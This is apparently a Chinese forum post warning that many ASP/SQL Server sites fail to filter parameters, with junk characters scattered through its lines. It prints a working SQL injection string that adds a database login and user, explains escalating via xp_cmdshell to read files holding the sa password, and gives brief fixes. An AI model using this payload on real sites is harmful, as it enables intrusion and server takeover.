为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。
! O* l5 [4 l) {- R9 t8 g* u BUG描述:; g' X: G% @! E/ U
把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--& P3 l& Q" _& e( x1 |
BUG讲解:
* e% }: J1 b% L6 |1 i: w6 i m( a* u1 p 这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。' |9 ~7 E& x( h/ t2 {
BUG消除:
! {* Q) n- `. T: V* H7 Y 程序增加参数过滤
4 I" I" G ^# P, a1 K. u" ?! a 附:sp_addlogin和sp_adduser语法: i4 Z/ _6 B; w" Z5 g( W9 R
sp_addlogin [@loginame =] 'login'4 ] e4 ~9 U; W3 [2 f
[,][@passwd =] 'password']
2 C5 l; o2 _" l: A8 e+ B [,][@defdb =] 'database']. \! c5 h( N; z; C% W
[,][@deflanguage =] 'language']
~) M, a0 e- X% z( x* \ k* J- K [,[@sid =] 'sid'], E- A. v/ Y" V# u" O: U
[,][@encryptopt =] 'encryption_option']1 K& G5 M; j% m; p
sp_adduser [@loginame =] 'login'' f( S, L9 X# i' ?1 {: I
[,][@name_in_db =] 'user']
3 u+ Y$ v; |, r, o$ k6 ^2 ]! b [,][@grpname =] 'group']( t3 Q5 @/ |3 ^9 {; G6 a
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^3 e8 C3 C3 R" B/ T0 ~" H
嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等
' ]9 y* z" {; e |